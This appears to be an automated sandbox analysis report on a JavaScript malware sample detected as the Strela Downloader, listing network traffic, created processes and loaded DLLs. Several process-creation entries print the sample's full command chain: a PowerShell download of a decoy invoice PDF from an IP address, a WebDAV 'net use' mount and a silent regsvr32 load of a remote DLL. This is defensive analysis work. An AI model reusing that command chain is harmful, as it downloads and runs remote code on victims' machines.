HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2125315254.0000027CEB236000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2182029050.000001A27FC7C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182029050.000001A27FC28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182029050.000001A27FC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2182029050.000001A27FC28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0
Source: net.exe, 00000007.00000002.2182029050.000001A27FC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r0_
Source: net.exe, 00000007.00000002.2182029050.000001A27FC28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3419989163.00000230D9400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2182129001.00000230D92C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2612, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 15994293462788625581.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5076:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rz4rchik.bc2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15994293462788625581.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1628,i,15348255710480539430,1827059761029734121,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1628,i,15348255710480539430,1827059761029734121,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
